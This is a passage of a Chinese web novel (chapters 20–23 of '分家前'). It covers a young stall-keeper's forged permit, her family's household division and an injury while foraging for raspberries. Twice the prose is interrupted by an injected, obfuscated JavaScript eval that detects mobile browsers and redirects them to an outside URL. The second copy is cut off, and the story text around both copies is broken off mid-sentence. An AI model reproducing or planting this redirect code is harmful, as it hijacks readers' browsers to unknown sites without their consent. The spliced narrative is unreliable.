那人为难,面色凝重有所顾虑,低低对梁文宇说了几句话。 他们和阿瑶相差太远,嗓音低阿瑶未能听见,手边拉着推车不愿松手,急得差点哭出来。 拉扯间她是步步不让,谁知道对面手一抬,阿瑶姿势猛往后拖着车子,对面一松手,她整个人往后踉跄了几步。 还好梁文宇动作快,时刻关注她动向,双手撑住胳膊稳稳接住了她,摊子因为动作大,车轱辘歪七扭八滚了几圈撞上木桌,扬翻了她烧制好的果酱。 等人走后,地上一片狼籍,黄泥地里脚印凌乱,地面、推车已经木桌皆染上翻落的果酱,看着这一幕,阿瑶终于忍不住了,鼻头一酸,眼眶中翻滚的泪珠倾刻间涌了出来。 她睁着眼,放任泪水洗刷脸颊,两行清泪滴落,转头哽咽着问道:“你说话算数吗!” 已经没有人可信任的阿瑶愿意相信当初为了五十两银子骗她的假官。 梁文宇眼底黑意更深,可目光真诚,他抬手想帮阿瑶擦泪,举在半空的手又收了回来握成拳落下:“莫哭,我既答应你之事一定会办到。” “好。”阿瑶用帕子擦干小脸,默默扶起木桌,拿了抹布大力擦起来,清理完所有溅染之处,她一个人躲进房中。 阿瑶每日不辞劳累辛苦买卖,靠她的肩膀完全撑不起这个家,她无数次质疑自己的能力,无数次怀疑,可最后打垮她的尽然会是小小的一次交易。她坐在房中苦笑不止,晶莹泪珠再次从眼角滑落。 即便哭泣声很小,安静庭院之中还是能够听见她遏制住的声音。 梁文宇就站在她门前,他不愿听见那令人伤心的哭声,转身离去。 而后他沿着州桥一路往东,闯过几条小巷就是官衙后院,推开小门悄悄而入。 此刻吴县令正同廖师爷在后院凉亭下棋,他是热的满头大汗,衣袖撩起大半。 “舅父。”梁文宇作揖请安。 吴县令落下一子,开口道:“子恒来了。” 梁文宇起身,站到吴县令身后:“舅父近开可好,胃口尚佳?” “这几日天热,吃的越发少。”吴县令摸摸胡子,喝了盏茶,“你这一说,我倒是想吃蜜沙冰起来。” “可惜舅父日后怕是吃不上了。”梁文宇卖起关子。 吴县令面色从容,抬头看向他的侄儿:“愿赌服输。” “自然不是。”梁文宇摇头,打开了他留在府中的黑檀木鎏金扇,手速匀称的扇动着,“舅父为让侄儿认输,也不可使这等手段!小姑娘独自一人营生,在这世道本就饱受争议,您为何要派人将她摊子拉走。” 他话一说吴县令便听出了其中之意,他放下衣袖:“我向来光明利落,为官清廉,从未做过冤枉百姓一事,你从哪儿听来。” “自是亲眼所见。”梁文宇进府后就换了一身衣裳,他衣摆微动,握紧扇柄不断摸索着,“我今日所来只希望舅父能还自己一个清白,侄儿定当从旁协助。” 吴县令听着发笑,捋起胡子来:“你这蛮猴,算计起你舅父来,既然有约在先,那就同你一道查查。” “多谢舅父,刚才侄儿多有得罪之处还请舅父莫气,想来您一心为民定是不会同侄儿计较。”梁文宇扣了顶高帽过去,捧了几句。 吴县令协同两人去了前院,他叫身边小厮将捕头叫来问话。 带头人见是梁文宇亲自过来,如实说了几句,却没想到吴县令当场发了怒,狠狠说骂了几句。 阿瑶刚开始去办理冰饮摊时是吴县令亲自派人接待,文书起草都一式两份存在书库房中,断然错不了。 章印更是他亲手按上去,更加无法作假,偏偏跑出这一出事,吴县令对捕头办事不当气的更深。 “文书在何处!”吴县令语气中明显带着几分怒意,可还未到最胜。 捕头交与文书供吴县令查阅,又叫人去取了书库中的另外一份,两份对比清晰,阿瑶手上的文书印泥底色发蓝发灰,明显就是有人伪造。 “侄儿如何看。”吴县令把问题抛给梁文宇。 他视线从印泥上瞥开,对上吴县令眼:“侄儿认为应当由衙门出面,补一张给她。” “好,就如你所说着办。”吴县令当场拍板,只因他当初盖好拖人送出去,即使小姑娘自己跟着,途中经手多人,被调包已不是能够发现之事。 吴县令安排完,问起另外一件事:“是何人所为,尔等速去核实。” “这…”捕头摸了摸鼻子,偷偷睨了几眼,“是您!” “我何时说过此话。”吴县令余光扫了梁文宇几眼。 “大人不是让家仆传话说,外头阿瑶姑娘的摊子有问题,让小的们去查看,如有情况可带回衙门审问。”捕头毫无一丝隐瞒,全说了出来。 吴县令自己都在纳闷他到底何时说过此话,他从始至总一直都在同廖师爷下棋,并为叫人前来。 梁文宇看出舅父微变的神色,先一步开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454969|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可有讲过传话之人!” 捕头连忙回答:“见过,见过,那人长的矮小,一双细眼和…和花楼店家极其相似,只是他没胡子。” 话说完,梁文宇就让人下去了,他站在吴县令身旁,恭敬道:“舅父,此事如何处理。” “按兵不动,如今你还未找出幕后之人,这颗棋子敲打一下虽好,断不能打草惊蛇。”吴县令眯起眼说道。 梁文宇点头:“是。” 关于阿瑶文书一事,果然还是梁文宇出手快,申时三刻他已经拿着文书归来。 可阿瑶并为在家,他将文书放到她屋中离去。 没过一盏茶功夫,阿瑶背着箩筐手拄木棍脏乎乎的进来了,她的箩筐中盛满了鲜红色由数十颗果粒拥成的圆锥果,表面带有细密绒毛的悬钩子。 这还是阿瑶去东市采购食材时,听路边卖浆果的商人聊天所知,只因那山路崎岖,而悬钩子又喜欢长在杂木边缘,山坡乱石堆积中,采摘之人少之又少。 山野里的悬钩子果子小而酸,很少人喜爱食用,但对阿瑶来说是不可多得的果酱原料,目前她手头银量尽空,只好靠这些山货挣钱。 阿瑶把一箩筐悬钩子倒入水池清洗,挑选出小和畸形的果子扔到陶碗里,之后用擀面杖捣碎,她挑了几个小果出来剩下全都捣碎扔入之前酿好的麦芽糖中搅拌均匀,而后起锅晒干倒入锅中熬煮。 小火慢煮直沸腾,最后收汁至黏稠,满满一箩筐出来的果酱收汁后只有大号琉璃碗平平一碗,量少可贵在稀有。 阿瑶尝过味道,比寻常梅子还要甜一些,她就加了一次糖,黏稠度没有其他种类果酱高,稍稀了点。 她自己试着做了一碗尝尝,搭配冷元子味道更好。 收拾好厨房,阿瑶振作起鼓,拿出木炭笔开始写最近几日在集市见到的一些蔬果,根据外形和现代名称结合,又回忆各种美食做法。 弄好一切,阿瑶又去地里为瓜果浇水,刚浇完一耕地,外头许老大领着两个哥儿回来了,手里拎着一串鲋(fu)鱼,因为阿瑶自小特爱吃清蒸鲋鱼浇上香油。 两个哥儿连忙跑到菜地帮阿瑶洒水,余哥儿蹲在一株结出果子的黄瓜面前:“阿姐,虫,有虫吃。” 阿瑶听见走过去看了看,想起她屋内有打虫药,进去拿时被门旁桌上摆方的纸张吸引,上方写着文书和下面官府印章,眼前顿时一亮。 “阿爹,咱们又能摆摊了。”她兴奋的小跑出去,指甲攥着文书,嘴角的愉悦怎么都压不住。 动力回来后,阿瑶宛如晨曦初露充满活力,她将东西全放入推车上,又写了今日新品。 早早吃了晚膳四人就从家出发去了州桥,仅一下午时光,阿瑶回归的时间飞快,连周边的食客对她都多了几分敬佩。 谁能想到一个小姑娘短短几个时辰,摆平流言不说还带着新点子回来。她一来,周边冰饮的生意几乎都归阿瑶包下,只因摊子前方写着一句:莓你不行。 20. 分家前(二十) 阿瑶鬼点子多,四个字足够将人吸引过来,她故意买关子,勾着食客主动点上一碗。 还真有人被她吸引而来,只见阿瑶往铁板里舀了勺牛乳,放入悬钩子果酱,用两把刮刀不停搅拌,直到牛乳慢慢凝固后将其压匀,等待一会儿就能切块装盘。 这样出来的炒酸奶带着莓果粉嫩色彩,富有独一无二的酸甜爽口。 阿瑶喜欢用两种方式装盘,一种切块,一种卷圈。 靠着这股聪明劲再次把沙冰玩出了另外一种花样,文书的小磨难对她而言反倒是种历练。 她心里明白文书能够及时办妥是梁文宇在其中发挥重要关键,视线忽然落到远处,一眼便认出了人群中正往这头而来的梁文宇。 她双目像是放空般,眨着眼看他走到自己身边,他身上穿着她买的那件褙子,竹青外衣衬着肤色白净。 “在想什么?”梁文宇替自己系上围裙,开始帮忙挖冰装碗,外面等着长长一排食客。 阿瑶低下头:“多亏有你帮忙。” 梁文宇手中没停,神色自若:“你我不是家人,却胜似家人,无需多谢。” 家人?原来他们已经是家人! 阿瑶未说话,手中利落的制作起炒酸奶,她推荐了几个款式供食客挑选,因果酱剩下种类不多,阿瑶主动推了几种出去。 好在多数食客其他款式吃过知道味道,选择上也偏向悬钩子居多。 她把果酱一淋就递了出去,上面放了两颗冷元子。 配合许老大手工制作的炸小黄鱼和鸡骨头,她前几日又多挑了几款蔬果,夏季莲藕盛行,阿瑶自制了些料汁浇到煮熟的藕片里搅拌均匀。 因为红椒还未流入中东,阿瑶暂时用胡椒代替辣度,适量放一些增香提鲜,在稍稍往冰桶放上一会,口感更加清爽可口,脆生生的藕片搭配小酒就是道下饭菜。 梁文宇说的那几句话,阿瑶心里好似不太舒服一般,就连食客对她说话也听了几句,心思不在此处,手中自然也出了错。 “阿瑶。”梁文宇伸手替她往碗中放了几颗冷元子,见她心不在焉,顺势接过琉璃碗摆到木板上,“可有心事?” 阿瑶猛然清醒,转身朝后走坐到州桥台阶上,双手托起小脸,叹了口气,杏眼盯着梁文宇忙碌背影。 宽肩窄腰,哪怕穿着最普通的褙子,从他后影看任然是富家子弟的气概,阿瑶敛下眼,双手抱胸,将脸埋进臂膀。 她头顶梳着低髻两边用素绢缠成一圈,耳边有两束小辫发缠进素绢,又簪了几朵小绒花,除去身上就再没其他装饰物了。 身前有一道热气涌来,阿瑶觉得头顶中央好似有东西插入,她忽地抬头,深棕色眸子中映出梁文宇身影:“你…” 两人贴的近,面对面说话都能感知到对方鼻尖散出的热意,或许是阿瑶觉得她们之间太过于亲密,往后挪了挪拉开距离,抬手摸进发间,抽出一根簪子。 抽动中散落几捋发丝挂在脸边,阿瑶拿到眼前看,筷子粗细的簪子由白玉雕刻而成,质地温润细腻,阿瑶抬眼与梁文宇对视,小鹿般圆眼无辜的望着等对方说话。 “我见你平日素得不像个做生意的,倒向是逃难进城的。”梁文宇从阿瑶手里抽出簪子又插入她发髻,“这样便好多了。” 他手还停留在发中替她挽起掉落的发丝,指尖无意触摸到耳边时,他看到阿瑶眼中闪过无措。 “多谢!”阿瑶都快把衣角掐出洞眼,嘴里一直说着这两字。 外头有人叫阿瑶过去做炒酸奶,她摸了摸发髻,整理好就起身,去之前对梁文宇说了句话:“往后你就是自由身,若有哪日不想来时不必与我多说。” 她转身往前走时,梁文宇单手撑住勾阑:“我为何要走,此处有吃有喝,还有银钱可拿岂不快活!” 阿瑶听了话脚下步子顿在原地:“随你!” 外头酒楼派人过来取货时,因购买数量过多,人手不足无法一次送完,阿瑶让梁文宇跟随前去送货,她则留下为食客做冰沙。 招呼食客时阿瑶根本没时间细看外面有哪些人,低头忙着做炒酸奶,等待时抬头无意瞄了一眼,她见到人群中有一人的身型好像同些像眼熟,可就是仅仅一眼,她并未放在于心。 低头翻炒起来,阿瑶往里注入牛乳和酥酪,随着炒酸奶体积不断变大,质地逐渐浓厚,而后铺成厚块切片装碗。 “店家,给我来一碗炒酸奶。”妇人挎着编篮,指着木牌上的字。 阿瑶蹲着找其他样式的琉璃碗,注意全放在碗上,起身时刚好和小叔母视线相对,对方叫出声:“阿瑶!” 先前阿瑶谎称摊子并非是她的,此刻继续装作在为他人务工的跑腿小妹:“悬钩子炒酸奶大碗十八文。”自己人她也照收不误。 听见这价格小叔母并未犹豫,反倒说买就买让阿瑶做一碗让她尝尝,那十八文给的相当痛快。 “哎,阿瑶,今日怎么只有你一人,你家东家呢!”小叔母随口问起来。 阿瑶盛好炒酸奶,放入勺子递出去开始说道:“雇我做生意何须还要东家在场,我一人就可。” “可不是,周边的冰饮子生意也就这家最好。”小叔母挖了一口吃,“你别说还真不错。”味道比他上次吃的还要好。 小叔母端着炒酸奶坐在阿瑶身后的木桌上,一边吃一边看她做,本来好好吃着的,摊子前来了几个食客,对着阿瑶店家长店家短一阵叫唤。 本来阿瑶就担心她小叔母回家说三道四,这下子彻底将把柄摆在人眼前。 小叔母嘴里吃着东西,眼睛直勾勾望着前头一举一动,耳里是半点都不愿落下。 食客与阿瑶本身熟络,有时会打趣几句是常事,可今日偏偏说了些不该说的话,直接将阿瑶老底都曝光出去。 小叔母嘴里刚吃下一口炒酸奶,眼珠子往下瞟了一眼飞快回归到阿瑶身上,脸上浮过一抹算计,不动声色将东西吃完:“阿瑶,我先回去了,不然你阿嬷要骂我了。” 送走小叔母,阿瑶心头隐隐有些担忧,毕竟方才食客说的那些话小叔母不知听进去多少,她只知好日子算是到头了。 梁文宇归来时同阿瑶讲述半道遇上她小叔母一事,阿瑶苦 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当两人都认定许陈氏不敢明目张胆讨要阿瑶血汗钱时,两人一进门就见到坐在木桌前的许陈氏。 许老大问了声:“阿娘,您还未休息。” “我一天到晚要为你们操心,哪有时间休息。”许陈氏手里拿着竹条,一根根编起来,外头已经有个竹篮简形出现,“听老二媳妇说,你和阿瑶自个做了些小营生,想来生意应该不错。” 果然该来的还是来了。 阿瑶跟在许老大身后,怀里抱着东西,偷偷拉了拉他衣角。 “娘,我叫花楼了出来,不得已才动了些心思,如今算是有些手艺傍身,做点小吃过活。”许老大说道。 许陈氏放下东西:“阿娘并未不让你爷俩做生意,只是你老二他如今还欠下二十两银子未换,娘想让你帮一帮。” 许老大看了看周围,正屋里头无灯,现在天色不算晚,他阿爹难道就早早睡下了? 或许是他张望神色,许陈氏注意道说了起来:“你爹他不在家,甭找了。” “阿瑶的摊子挣钱,阿娘都知道,想想哪一日能赚上几百文,我心里头高兴啊!”她家老二终于能还上欠款,往后过日子不必再担惊受怕了。 许老大面色僵硬:“阿娘,您打什么注意我心里清楚,老二的忙怕是帮不上。” “怎么就帮不上了,你看阿瑶现如今每月可挣十两,只要两月就能还上。”许陈氏说着往后看了一眼,“想必阿瑶也愿意帮是不是。” 阿瑶站在许老大身后低着头不想看见许陈氏那副嘴。 许老大本身就护短,从他摆摊开始,知道阿瑶每日忙着营生起早贪黑的,更是半分不愿退让:“阿娘要是愿意,这摊子可给了你,我们一家四口搬出去住,往后您买什么我们绝对不眼红。” “分家,分家,又拿这两个字压我,你以为我会怕了不成。”许陈氏吃准了许老爹绝对不会认可这个提议,语气硬着。 “分吧!”许老大突然出现在门口,大摇大摆进院,“老大明早带着阿瑶挑些东西从家里分出去住。” 21. 分家前(二十一) 许老爹长叹口气,心底很不是滋味:“我和你阿娘对不起你们一家人,老二欠下的债款都由他自己还,明早我会亲自去里正处说。” “阿爹,您同意了。”许老大难得见他爹松口,当下一松。 “老二不像话,可也不能拖着两个小,阿瑶年级逐渐上去,要说户好人家。”许老爹明事理,知道在这样下去,这个家不分总有一天会形同虚设。 许老大看了眼海氏:“分家后,我和老二还是好兄弟,有什么困难知会我们一声,也当尽个力。” “现在惦记起来,刚才怎么不见你说要帮老二!”许陈氏坐在边上听,气顿时就起来了,站起身要打许老大。 许老爹呵斥住:“行了,一天到晚就知道闹闹,护着小的不顾大的,你看看阿瑶都叫你弄成什么样了!” “我护小。”许陈氏吵嚷起来,“拉扯老大的时候也没见你说,现在反倒说我偏心,我哪儿偏心了!” “老二不就是好例子。”许老爹拉高嗓门,“这钱你娘俩赶紧想办法还上。” 许陈氏嘴里嘟嘟囔囔的说着,手中动作可大了,拿着外头架子上的竹匾装模作样要起来又拨动几次,放下时手势颇重,好似怒气都宣泄进物件里了。 “还不赶紧回屋。”许老爹转过头催促,而后对许老大说:“今天先在家里休息,明早签好文书就搬出去吧!” 许老大点头示意,夫妇二人回到屋子商谈了一会儿,他将阿瑶在城里置办一间屋子的事情和海氏说了几句,又告诫她切莫说出口。 阿瑶回家难道踏实睡了个好觉,就连外头鸡鸣声都格外好听,她起来时海氏端了几个粗面窝窝过来,偷偷往阿瑶手里塞了个鸡蛋,还叫她快些吃完。 鸡蛋被塞入手心,外壳像要烧起来般的滚烫,阿瑶用衣角裹住敲开大头拨完壳慢慢吃起来。 一个鸡蛋吃的着急忙慌,只因她阿嬷从厨房出来拌了米糠喂鸡,若叫她瞧见又是一顿骂。 不过这些都是不打紧的了,等手印一按,往后阿瑶就自在的过活了,谁都不能惦记她的银子。 只是许老爹前去请里正过府查看时,偏巧人去了外头,村子里也有户人家今日要分户,人家去的早,这才去了空。 家终究要分的,许老爹找人拟好文书,带着两个儿子由田地、牲畜到家里器具统统划分清楚,叫老大去村子农户家中租了驴车和马车。 阿瑶挑了一些好家具带走,剩下一些都没装车,实在太过于破旧,她都快怀疑是阿嬷故意给的了,直到阿瑶认认真真看了一遍,才确定这些东西是用的年岁久自然形成。 车子赶到宅子门口,阿瑶卒然意识到梁文宇此刻正在里面休息,她先两人一步下车,装作镇定道:“阿爹,阿娘,你们先在外头等我会儿,我进去整理一下。” 她背手关上门,掩实后飞快往屋里冲,前后都瞧了瞧,并无梁文宇身影,推开他暂时住的屋子里面被褥叠的整整齐齐,连一丝压痕都没。 当初阿瑶买这座宅子就是看中了便宜和屋子多,再加上有留言帮助她才能拿下,否则在镇上买这样一间少说八十两。 两个哥儿一间,爹娘一间,剩下她和梁文宇一人一间,屋子是够了。 他们三人进镇比较早,阿瑶拿出今日要买的食材开始处理,她昨晚来不及留着今天来,用葱姜蒜汁水腌制,最后倒掉水沥干带出去。 推车出门本就重量加持,海氏看着阿瑶小身板推的游刃有余,眼框一下子红了一圈,语调有些哽咽:“阿娘来推,你替我指路。” “阿娘,我都习惯了,刚开始那会儿都没人替我推,说来好要感谢阿嬷,要不是她从小锻炼我体力,今日咋们出不来。”阿瑶感谢道,手里铆足劲往前推。 他们到摊位,周边商户有些都还没开门做生意,反倒商贩摆了不少出来,阿瑶喜欢在州桥下面,背靠大树好乘凉。 日出还未升起,外头的热意就阻挡不住的起来,稍微动一动就热出一身汗,阿瑶固定好推车,拿出木板放上去,摆出一些解暑小果和茶盏。 结合早点优势,阿瑶也让许老大准备了些面团包馅压扁来炸,海氏负责协助替许老大打包和找钱。许老大不止会做菜和小吃,连早点麻团,油条一类都是相当拿手。 阿瑶之前做的一些冷丸子也能热煮了吃,天热食客有时候就喜欢过来点一碗冰雪冷丸子吃,压一压暑气。 等巳时往后,这吃冰的人就逐渐增多,阿瑶今日出来摆摊的木牌上方写的都是她这段时间未做过的简单沙冰。 近期阿瑶晚上收摊早闲来无事会去东西市逛上一逛,看一看有无新鲜物,只是连去好几日都没能发现过。 只好照旧做一些食客吃过能反复吃上一会的沙冰,所有沙冰里头当数西瓜沙冰最巧,而后就是悬钩子和牛乳蜜沙冰。 阿瑶自个做了几碗买出去,梁文宇捐着袖口过来,他还没走近,阿瑶就发现了他,挪着步子就把他往后面拉。 指尖拽着人衣角,扯着走了有快一里地,转过身对他道:“你往后须等我们息了灯才能回。” 梁文宇眼神望着阿瑶,略有不解。 “我爹娘和家里分了户,他们今日都要到宅子里睡,我担心你住在哪儿会让人误会!”阿瑶眨眨眼,水灵灵大眼静静看梁文宇下一步。 他的桃花眼一笑,薄唇轻启:“怎么,是担心你爹娘多想,还是我多想。” “自然是担心我爹娘多想。”阿瑶语气急了些。 “好,往后我小心些就是。”梁文宇一口答应下来。 阿瑶领着梁文宇过去帮忙,海氏注意到往他们那边多瞧了几眼,忙里偷闲和许老大多聊了几句,知道这位哥儿是同阿瑶一起从头摆摊的人,目光总是忍不住多打量了对方几眼。 一整天下来,从头站到尾,忙中得闲海氏坐下来吃了碗许老大亲手炒制 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“好好好,阿娘不说,赶快吃完要随你爹去西市卖。”海氏大口吃起来。 两人推着车离开州桥附近,阿瑶又支了几张木桌出来,忙起来后冰车前两人就开始分工合作,阿瑶负责做炒酸奶,梁文宇负责沙冰、 相互合作中,两人逐渐培养出默契,阿瑶制作炒酸奶有两种模样,一款需要浇果酱,一款需要加果子,各有各的好处。 梁文宇手中端着沙冰摆到阿瑶手边,有位食客想吃两种口味混搭,阿瑶同意了,这还是第一位提出此法的食客,价格方面她给的都是一样,全按照大碗收费。 炒酸奶卷边需要些力气,阿瑶将其抹平抹薄在划好长短铲起来自动就会卷成一小圈圆状物。 她用筷子夹起插进沙冰里头,因为上面还要淋果酱,阿瑶走过去没看路差点就和梁文宇撞上,手中琉璃碗在她躲避时往外头顷翻了一些,捧住碗手中还是有些撒出去,阿瑶擦干净加了些进去,回来后抿嘴叹气:“听外头食客讲最近冰价又上涨了三文钱。” “如今天热,冰价上涨情有可原,可是上涨速度未免有些过快。”梁文宇擦干水渍,视线盯着对面花楼瞧,“只怕背后有人在控制冰价。” “你的意思是有人不想我们在此做生意?”阿瑶的目光落到了花楼两字牌匾上。 梁文宇黑白分明的眼眸之中,隐藏着一股明智:“并非如此,针对你我未能得到好处,赶走你还有下一个抢他们生意之人。” 明明前几日刚涨了五文钱,冰价又接连上涨,梁文宇这几日只查到花楼店家同冰行走的近,可背后授意之人半点消息都未走漏过。甚至价格都由着店家出面谈。 “的确,这手艺整个汴京只有我会,花楼虽有赶走我之意,没了限制或许连铺子都能撑起来。”阿瑶认同他的话,“不过我手头最近是有些周转不开。” 22. 分家前(二十二) 她这是欠下了一屁股债,问钱庄借了钱款不说,手头都快没什么银子周转,眼看着冰价又要上涨,上次屯下的都已经快用光。 “我手中还有几两。”梁文宇掏出腰间碎银,直接扔进钱匣子中。 阿瑶想阻止都来不及:“就当这些银子就当是我向你借的,等有了钱就还你。”她语气有些虚,主要是阿瑶自己都无法确定何时能够还上欠款。 那几颗银子一看就是梁文宇的攒起来的工钱,她实在不好意思拿人家。 或许是看出阿瑶面上的为难,梁文宇歪头道:“还我时多给一两,就当利息!” “假官!”阿瑶骂道。 听见骂声,梁文宇眼神一扫,勾嘴笑道:“这话莫非不是你亲口所说?” 她何时说过此话?阿瑶忍不住又骂了句:“假官!想多要点银子就直说,何必这样拐弯抹角!” “呵。”梁文宇抬眼对上阿瑶双眸,“果然还是没变,小财迷,好了,哪些银子就当与你合作的本钱。” “我,你..”还真是喜欢白嫖,她活脱脱卖了自己一半身价走! 眼下实在没法,钱庄的利息可比梁文宇来的凶悍,得亏借的少,要是再多上一些指不定哪天需要用方子来抵押。 “成交。”这话她回的相当不开心。 晚间阿瑶犹豫许久才对海氏说了几句话,她去时手里拿个包裹过去,这还是她昨日归家带过去的那个,没找到机会让海氏帮忙缝制,如今进了镇上就不用每晚点着灯缝制哪些买文钱的手帕了。 “阿瑶,你同娘说实话,你对文宇可够有意?”海氏边缝边问。 红烛灯芯跳跃映在阿瑶脸上,暖暖的烛光将人影子投上墙,她垂下眼帘,语气平缓,听不出情绪:“我与他只是主仆。”他们两人连主仆都已经称不上,因为阿瑶还了他自由身。 海氏手脚快,修补能力算得上顶尖,就连仔细看都瞧不出在何处修补,除非反过来看能在衣服里端发现一处接头,她摸着面料出奇的好,当即就追问阿瑶时何人衣裳。 阿瑶说出经过,可她始终没有讲述他们两人是因为何时而相识,知告知了海氏梁文宇衣裳破烂是被东西扎破。 等阿瑶把衣裳送到梁文宇屋中是,对方正躺在踏上休息,双眼紧闭,睡姿安稳,她慢慢过去,把衣物放在木桌前。 周围人太过于热情,阿瑶连续三日未好好休息,一直不停在挖冰和炒酸奶之间来回,就连梁文宇都学会了炒酸奶的手法。 忙完这些阿瑶快瘫倒在地,捏着抹布擦拭的手指都在微微发颤。 不过比起这些阿瑶还是喜欢看花楼无人去,毕竟多半食客都被她拉了过来,吃过填入果酱的炒酸奶再吃沙冰简直就是一个天一个地,口感、味道方面根本比不上阿瑶做的。 她是狠狠替许老大出了口恶气,可文人雅士喜好冲着花楼雅间而去的阿瑶是拦不住的,若说吃食方面略有欠佳,但雅间依旧还是达官贵人爱去之地,顶多叫仆从出来购置吃食。 炒酸奶类型避暑吃食在州桥附近出了名,外头传阿瑶手艺好,人美心善,夸得她都快要飘起来。 远处来经商的商贩到了州桥都要打听过阿瑶的位置,有时明明已经在此处,还对着阿瑶一顿询问,惹来周边食客一阵哄笑。 阿瑶做冰的技术不是靠各类比拼而来,是靠百姓口口相传得到的好口碑,生意更是上涨一层。 靠着好名声为由头,阿瑶将许老大的炸货小摊一起连着做推荐,买了沙冰还必须再购买一份炸货小吃,不过阿瑶未强制让人购买,而是在她推车前准备了一些半指长的吃食供人品尝,觉得好吃的食客自然就会主动过去购买一些带回。 而后他们的来时鸭肠小路渐渐变成了羊肠小路,可惜能够还上欠款还需要段时光。 这几日梁文宇随阿瑶出摊从早到晚的跟着,两人之间的默契是越来越足。 她一日做了不下十多碗西瓜炒酸奶,每回有人点这款冰沙,阿瑶都对无法寻到越王头而感到惋惜,她闲来无事和梁文宇说话时偶尔说了几句。 能在东西两市找到此物的话,价钱方面必然最贵,可阿瑶还是想试一试越王头加牛乳制作出来的西瓜炒酸奶口感如何。 “哎,最近总想着能够找到些新奇果子,可总没见到附近有。”阿瑶打开冰桶看了眼里面的果酱。 悬钩子果酱卖的好,早几日前就空了,阿瑶一直没时间进山采摘,那山里头的果子虽然个头小但数量多。 阿瑶想今日找机会过去摘些回家,她特地早收摊一个时辰,从家宅里拿了背娄出去,梁文宇跟在她身后。 山上悬钩子多,可这些树木喜欢高低,枝干上方还带刺,稍不留心扎进小刺就很难取出。 望着满山坡的悬钩子,阿瑶高兴的很,她抓着旁边植被一步一步爬上山坡,要去摘最红润、大果的悬钩子。 植被向阳而生,雨后泥泞巨石上方潮湿可比长满苔藓要好许多,阿瑶看中了其中一棵,距离巨石地段很近,她一心想着果子大能熬煮出许多果酱,竟然连自己站到巨石边都不知,等摘完果子下来时却发现她自己无处可走。 阿瑶左右环顾一圈,见到周围覆盖着低矮植被,蹲下身一点点往下爬,就在她以为能够安心下落时,那颗带有根茎的植被枝干承受不住拉扯猝然断裂,阿瑶一路滑下去,落地后手臂,小腿都尖石划开,血淋淋的一片。 梁文宇摘了果子回来和她汇合,阿瑶背对他坐在地上,头顶的巨石鲜血淋淋触目惊心:"阿瑶!"他以为阿瑶昏迷过去,飞奔过去查看,搭上肩膀才知人醒着,只是有些吓傻。 “到底发生何事,你怎会这般?”梁文宇眉头微缩,他拉过阿瑶手掀开看。 此刻疼的要昏过去,失血过多有些意识模糊,她双眼紧闭,“我无事,没踩稳滑了下来。”说完正个人朝后头倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁文宇收回手:“无需担心,我一人就可。” “可我..”阿瑶还想说什么,外头许老大夫妇两摆摊回来了。 海氏见到院子里的山鸡面带困惑,她压下疑惑走到阿瑶屋子前,说了几句话,阿瑶开口说了几句叫海氏进屋。 她推开门就见阿瑶手上,腿上裹着白布,急忙上前查看,语气急切:“阿瑶,你今日这是怎么了,何时受的伤?” 阿瑶省略经过,简化道:“我见山上的悬钩子长势好,果子大,想着可熬果酱,结果下山没抓稳摔了跤。”她有点不敢正面看海氏眼神。 “下回阿娘帮你去摘,莫在一人前去。”海氏狠不得伤的是她自己。 “阿娘,我无事,一点都不疼。”阿瑶疼的坐姿都僵硬了,硬忍着,“阿娘,我饿了,想吃你煮的面。” “好,阿娘把外头的山鸡杀了做汤底。”海氏看了阿瑶之后,通过地面脚印大概能猜到是谁抓的了。 阿瑶点头:“好。”其实她手心早就被自己扣出一道道指甲印,眼底已有隐约的泪水出现。 海氏走后,梁文宇从床架后出来,见到的是眼中泛着波光的阿瑶,眼角正有道泪流下,这是他第二次见阿瑶哭。 心口有些压抑的难受。 23. 分家前(二十三) 阿瑶憋回泪:“我是担心你一人无法应对。” 每日来吃的食客接近有几十号人,两人在时都有些忙不过来,更何况一人在场无人帮。 “要不明日我跟去,你忙不过来时找我可好。”阿瑶提议,“我伤的只是左手,右手能用。” 但她低头看腿,随后抬头,目光像是要穿透土墙一样,宅子离州桥隔了快有四条街,阿瑶在想她要如何走出这扇门。 梁文宇往日推冰车已经略有所成,可再加上她,估计是不成的了。 “那我们就在宅子附近买卖可好?”梁文宇忽然说道。 阿瑶额头微抬,质疑了句:“食客去何处寻我们?” “自是由我引来。”梁文宇整理好袖口,替阿瑶将松垮下的纱布重新包扎好。 他贴得近于阿瑶脸之差一掌,她转头过去想记一记梁文宇如何给她包扎的手法,目光却浅浅打算起他来,那面中鼻梁高耸配上剑眉星目,他垂眸模样尽数落进眼中。 “你。”阿瑶停顿了片刻,“你真愿意留下来?可我如今模样怕是要拖累与你。” 梁文宇为她打好结,睨了一眼:“你只是受伤并非残,拖累二字未免有些过重了。” 阿瑶:“...”貌似也是,她只不过受了点小伤,腿脚还是便利的。 “你赶紧走,莫叫我爹娘发下!”阿瑶听外头动静越来近,赶忙催促,又叮嘱梁文宇晚间住。 不过同住屋檐下,梁文宇的屋子迟早还是会被海氏发现,阿瑶干脆直接在两人进屋前就上好锁,还贴心的留了扇窗户给他进去。 外头声音近了些,海氏推开门端了碗鸡汤面进来,坐在阿瑶身边:“适才你阿爷来叫我们回去签订文书,想来是今日就能分户独立过日子了,往后你阿嬷再找我们替你小叔伯还钱也只能借了。”她盼着这一天许多年了,终于分了家。 “好。”阿瑶吃了面,稍微替自己收拾了一下,脸上抹了些脂粉才不让小脸看上去苍白。 许老大顾忌阿瑶腿脚不方便,特意雇了辆驴车扶着阿瑶就往车上坐,坐稳后朝家中出发,自从全家搬离老宅第一日,这几人就不想再回去了。 当着里正面将手印按下,许老爹说了几句望分家后两人兄弟和睦的话语,之后又让老二按了个手印,文书一式两份,一份由许老爹保管还有一份交给里正留档。 至此他们兄弟二人算是彻底分户别住了。 